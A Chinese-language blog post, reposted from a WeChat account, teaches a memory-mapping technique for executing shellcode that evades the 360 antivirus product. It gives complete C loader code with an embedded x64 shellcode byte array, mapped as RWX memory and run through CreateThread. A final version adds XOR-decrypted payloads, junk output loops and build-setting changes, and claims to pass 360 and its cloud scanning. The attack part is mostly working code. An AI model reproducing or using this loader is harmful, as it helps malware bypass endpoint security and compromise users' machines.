映射注入绕过360

admin 2024年12月28日12:03:23评论16 views字数 7692阅读25分38秒阅读模式

简介

Windows映射注入是一种高级进程注入的技术,攻击者可以利用Windows API将恶意代码注入到目标进程的地址空间中。

这种方法依赖于内存映射文件的概念,可以通过创建内存映射文件并将其内容映射到目标进程的地址空间来实现。

内存映射文件

首先我们先来了解一下内存映射文件的概念,内存映射文件是一种将文件的全部或部分内容映射到进程的虚拟内存地址空间的机制。

这种机制可以让应用程序通过内存访问的方式直接去操作文件的内容,而不需要传统的文件读写操作,内存映射主要用于提升文件/IO的效率。

说的简单点,就是将文件的内容映射到进程的虚拟地址空间,方便操作,那么如果说我们将shellcode也映射基进去呢?

映射进去之后,我们创建一个线程去执行shellcode不就好了吗?

这样的话其实就不需要我们去申请内存了,也就不需要使用VirtualAlloc函数了。需要注意的VirtualProtect是无法更改映射内存的保护权限的。

内存映射对比普遍申请内存

关于通过内存映射去执行shellcode,可以在分配内存的时候直接设置所需要的权限,避免后续再去更改内存区域的权限。

在这就是文件映射,我们可以将shellcode存储在文件中,并通过内存映射的方式直接去执行文件中的代码,这种方式可以隐藏在合法的文件中操作。

使用共享内存进行代码执行,可以在多个进程中共享同一段shellcode,这样会减少内存的使用,不需要去反复加载和修改内存权限。

那么对比普通申请内存然后执行shellcode来说,普通申请内存执行shellcode是需要去申请一块私有的内存的,申请之后修改保护权限为可执行的权限,其中可能使用到了VirtualProtect函数,这个函数可能会被挂钩或者被杀软监测到。

所以内存映射这种方式还是很好的。

CreateFileMapping

接下来我们来了解一下内存映射相关的函数。

首先CreateFileMapping函数是windows API中用于创建内存映射文件的函数,它允许进程将文件内容映射到虚拟内存地址空间中。

这样的话进程就可以像访问内存一样去访问文件的内容了,内存映射文件不仅可以基于物理文件,还可以基于内存,从而提供一种在进程内之间共享内存的基址。

函数原型如下:

HANDLE CreateFileMapping(  HANDLE                hFile,  LPSECURITY_ATTRIBUTES lpFileMappingAttributes,  DWORD                 flProtect,  DWORD                 dwMaximumSizeHigh,  DWORD                 dwMaximumSizeLow,  LPCSTR                lpName);

hFile参数表示文件的句柄,这里可以是一个文件句柄,也可以是INVALID_HANDLE_VALUE这个值,这个值表示创建一个内存的映射文件对象。

lpFileMappingAttributes参数指向一个LPSECURITY_ATTRIBUTES结构的指针,它指定返回的句柄是否可以被子进程继承,如果为NULL的话不继承,一般我们也会给一个NULL。

flProtect参数表示内存保护权限,我们之前去申请内存或者修改保护权限的时候给的都是可读可写可执行,那么这里的话我们也给读可写可执行即可。也就是PAGE_EXECUTE_READWRITE。

dwMaximumSizeHigh参数表示映射文件的最大大小的高位部分,如果映射文件由hFile指定,那么此参数可以为0。这个我们一般给NULL即可。

dwMaximumSizeLow参数表示映射文件的最大大小的低位部分,这个一般我们会给shellcode的大小即可。

lpName表示映射文件对象的名字,如果要创建一个命名的映射文件对象,那么我们可以指定一个名称,否则为NULL。

如果创建成功的话,会返回映射文件对象的句柄。

如下示例代码:

hFileMapping = CreateFileMapping(        INVALID_HANDLE_VALUE,   // 使用内存而不是文件        NULL,                   // 默认安全属性        PAGE_READWRITE,         // 读写权限        0,                      // 最大大小高位        sizeof(shellcode),               // 最大大小低位        "relaysec"        // 映射文件对象的名字);

接下来我们来看看MapViewOfFile函数。

MapViewOfFile

MapViewOfFile函数是Windows API中一个函数,这个函数用于将文件映射对象映射到内存地址空间的函数,上一步我们通过CreateFileMapping函数来创建的文件映射对象,那么接下来就要通过MapViewOfFile这个函数来将文件映射对象,给映射到内存地址空间了。这个函数会返回一个地址。

函数原型如下:

LPVOID MapViewOfFile(  HANDLE hFileMappingObject,  DWORD  dwDesiredAccess,  DWORD  dwFileOffsetHigh,  DWORD  dwFileOffsetLow,  SIZE_T dwNumberOfBytesToMap);

hFileMappingObject参数表示文件映射对象的句柄,一般都是通过CreateFileMapping这个函数来返回的。

dwDesiredAccess参数表示访问权限,一般我们会给写和执行的权限,分别对应FILE_MAP_WRITE和FILE_MAP_EXECUTE。

dwFileOffsetHigh参数表示文件映射起始位置的高32位。这里给NULL就可以了。

dwFileOffsetLow这个参数和上一个参数是相对的,是低32位 也给一个NULL即可。

dwNumberOfBytesToMap参数是你要映射的字节数,这个值我们给shellcode的大小即可。

最后会返回一个内存映射地址。

如下示例代码:

// mapping.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <stdio.h>#include <Windows.h>unsigned char shellcode[] = {    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};int main(){    HANDLE hFileMapping = NULL;    PVOID  address = NULL;    hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);    address = MapViewOfFile(hFileMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));    printf("123");    return 0;}
我们可以在Process Hacker中进行观察。
映射注入绕过360

如上图可以看到内存的类型是Mapped Commit,并且保护权限是RWX的。

那么我们现在就可以将Shellcode去copy到这一块文件映射内存了。

memcpy(address, shellcode, sizeof(shellcode));
然后我们再去看这块映射内存。
映射注入绕过360

如上图可以看到我们的shellcode已经写进去了。

那么我们现在只需要创建一个线程,然后指向这块shellcode的内存区域即可。

hThread = CreateThread(NULLNULL, address, NULLNULLNULL);
如下完整代码:
// mapping.cpp : 此文件包含 "main" 函数。程序执行将在此处开始并结束。//#include <stdio.h>#include <Windows.h>unsigned char shellcode[] = {    0xFC, 0x48, 0x83, 0xE4, 0xF0, 0xE8, 0xC0, 0x00, 0x00, 0x00, 0x41, 0x51,    0x41, 0x50, 0x52, 0x51, 0x56, 0x48, 0x31, 0xD2, 0x65, 0x48, 0x8B, 0x52,    0x60, 0x48, 0x8B, 0x52, 0x18, 0x48, 0x8B, 0x52, 0x20, 0x48, 0x8B, 0x72,    0x50, 0x48, 0x0F, 0xB7, 0x4A, 0x4A, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x3C, 0x61, 0x7C, 0x02, 0x2C, 0x20, 0x41, 0xC1, 0xC9, 0x0D, 0x41,    0x01, 0xC1, 0xE2, 0xED, 0x52, 0x41, 0x51, 0x48, 0x8B, 0x52, 0x20, 0x8B,    0x42, 0x3C, 0x48, 0x01, 0xD0, 0x8B, 0x80, 0x88, 0x00, 0x00, 0x00, 0x48,    0x85, 0xC0, 0x74, 0x67, 0x48, 0x01, 0xD0, 0x50, 0x8B, 0x48, 0x18, 0x44,    0x8B, 0x40, 0x20, 0x49, 0x01, 0xD0, 0xE3, 0x56, 0x48, 0xFF, 0xC9, 0x41,    0x8B, 0x34, 0x88, 0x48, 0x01, 0xD6, 0x4D, 0x31, 0xC9, 0x48, 0x31, 0xC0,    0xAC, 0x41, 0xC1, 0xC9, 0x0D, 0x41, 0x01, 0xC1, 0x38, 0xE0, 0x75, 0xF1,    0x4C, 0x03, 0x4C, 0x24, 0x08, 0x45, 0x39, 0xD1, 0x75, 0xD8, 0x58, 0x44,    0x8B, 0x40, 0x24, 0x49, 0x01, 0xD0, 0x66, 0x41, 0x8B, 0x0C, 0x48, 0x44,    0x8B, 0x40, 0x1C, 0x49, 0x01, 0xD0, 0x41, 0x8B, 0x04, 0x88, 0x48, 0x01,    0xD0, 0x41, 0x58, 0x41, 0x58, 0x5E, 0x59, 0x5A, 0x41, 0x58, 0x41, 0x59,    0x41, 0x5A, 0x48, 0x83, 0xEC, 0x20, 0x41, 0x52, 0xFF, 0xE0, 0x58, 0x41,    0x59, 0x5A, 0x48, 0x8B, 0x12, 0xE9, 0x57, 0xFF, 0xFF, 0xFF, 0x5D, 0x48,    0xBA, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x48, 0x8D, 0x8D,    0x01, 0x01, 0x00, 0x00, 0x41, 0xBA, 0x31, 0x8B, 0x6F, 0x87, 0xFF, 0xD5,    0xBB, 0xE0, 0x1D, 0x2A, 0x0A, 0x41, 0xBA, 0xA6, 0x95, 0xBD, 0x9D, 0xFF,    0xD5, 0x48, 0x83, 0xC4, 0x28, 0x3C, 0x06, 0x7C, 0x0A, 0x80, 0xFB, 0xE0,    0x75, 0x05, 0xBB, 0x47, 0x13, 0x72, 0x6F, 0x6A, 0x00, 0x59, 0x41, 0x89,    0xDA, 0xFF, 0xD5, 0x63, 0x61, 0x6C, 0x63, 0x00};int main(){    HANDLE hFileMapping = NULL;    PVOID  address = NULL;    hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(shellcode), NULL);    address = MapViewOfFile(hFileMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(shellcode));    memcpy(address, shellcode, sizeof(shellcode));    HANDLE hthread = CreateThread(NULL, NULL, address, NULL, NULL, NULL);    printf("123");    return 0;}

我们可以尝试去过过360。

我们其实还是通过异或的方式,在copy shellcode之前我们将其解密。

如下代码:

#include <stdio.h>#include <Windows.h>int main(){    HANDLE hFileMapping = NULL;    PVOID  address = NULL;    hFileMapping = CreateFileMappingW(INVALID_HANDLE_VALUE, NULL, PAGE_EXECUTE_READWRITE, NULL, sizeof(cjk), NULL);    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    address = MapViewOfFile(hFileMapping, FILE_MAP_WRITE | FILE_MAP_EXECUTE, NULL, NULL, sizeof(cjk));    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    xor_decrypt(cjk, sizeof(cjk), ckj, sizeof(ckj) / sizeof(ckj[0]), sizeof(ckj[0]));    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    memcpy(address, cjk, sizeof(cjk));    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    HANDLE hthread = CreateThread(NULL, NULL, address, NULL, NULL, NULL);    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    for (int i = 0; i <= 10000; i++) {        printf("1231231");    }for (int i = 0; i <= 10000; i++) {        printf("1231231");    }for (int i = 0; i <= 10000; i++) {        printf("1231231");    }for (int i = 0; i <= 10000; i++) {        printf("1231231");    }for (int i = 0; i <= 10000; i++) {        printf("1231231");    }    return 0;}

需要注意的是一定不要禁用安全监测。

还有一点一定要在是否启用调试信息哪里,更改为否。。。

这里千万不要选择生成调试信息。

映射注入绕过360
我们将其更改为否就可以过了。
映射注入绕过360
可以看到现在没有任何问题。
映射注入绕过360
包括云查杀也是一样。
映射注入绕过360
我们可以尝试去执行,可以看到成功运行shellcode。
映射注入绕过360

原文始发于微信公众号(Relay学安全):映射注入绕过360

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年12月28日12:03:23
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   映射注入绕过360https://cn-sec.com/archives/3561872.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息